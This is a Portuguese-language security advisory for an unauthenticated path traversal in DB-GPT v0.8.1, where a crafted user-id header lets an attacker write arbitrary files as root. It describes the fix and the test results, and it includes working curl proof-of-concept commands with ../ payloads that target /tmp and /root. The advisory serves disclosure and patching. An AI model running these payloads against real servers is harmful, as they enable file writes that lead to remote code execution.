
CVE-2026-73034 — DB-GPT v0.8.1 path traversal não autenticado → gravação arbitrária de arquivos como root via cabeçalho user-id. Verificado + diff de correção
CVSS 9.8 (Crítico) · CWE-22 · GHSA/Issue #3104
POST /api/v1/python/file/upload no DB-GPT v0.8.1 recebe o cabeçalho HTTP user-id e o utiliza
bruto como um componente de caminho:
upload_dir = os.path.join(base_dir, "python_uploads", user_id)
os.makedirs(upload_dir, exist_ok=True)
open(file_path, "wb")
Não há autenticação — se o cabeçalho estiver ausente, o aplicativo recorre a user_id="001"
com role="admin". Injetar sequências ../ em user-id escapa da raiz de uploads e permite que um
atacante remoto não autenticado escreva arquivos arbitrários em qualquer lugar onde o processo do
contêiner (root) possa escrever → caminho direto para RCE (webroot .py, cron jobs, authorized_keys, …).
Afetado: DB-GPT ≤ v0.8.1
Corrigido: v0.8.2+ — commit e0c741bd2b5e521b128cffb3f68982dde3f7b359 (adiciona uma lista de permissões
_SAFE_USER_ID_RE com regex ^[A-Za-z0-9_\-]+$, verificações de contenção do diretório de upload e uma reverificação de symlink TOCTOU).
# write pwned.txt into /tmp/pwned/ on the server (as root)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../tmp/pwned" \
-F "[email protected];filename=pwned.txt"
# write into /root/ (arbitrary location)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../root" \
-F "[email protected];filename=pwned_root.txt"
Nota: o FastAPI mapeia o parâmetro user_id para o cabeçalho HTTP user-id (hífen, não
sublinhado).
| Teste | Resultado |
|---|---|
Upload de controle (user-id: alice) | ✅ /app/python_uploads/alice/control.txt |
Exploit user-id: ../../../../tmp/pwned | ✅ /tmp/pwned/pwned.txt ESCRITO (root) |
Exploit user-id: ../../../../root | ✅ /root/pwned_root.txt ESCRITO |
| Versão corrigida (e0c741bd) | ✅ HTTP 400 Invalid user_id: only alphanumeric characters, underscores and hyphens are allowed |
Script completo: poc_cve-2026-73034.sh (executa ambos os exploits + verificação no contêiner + comparação
com a versão corrigida).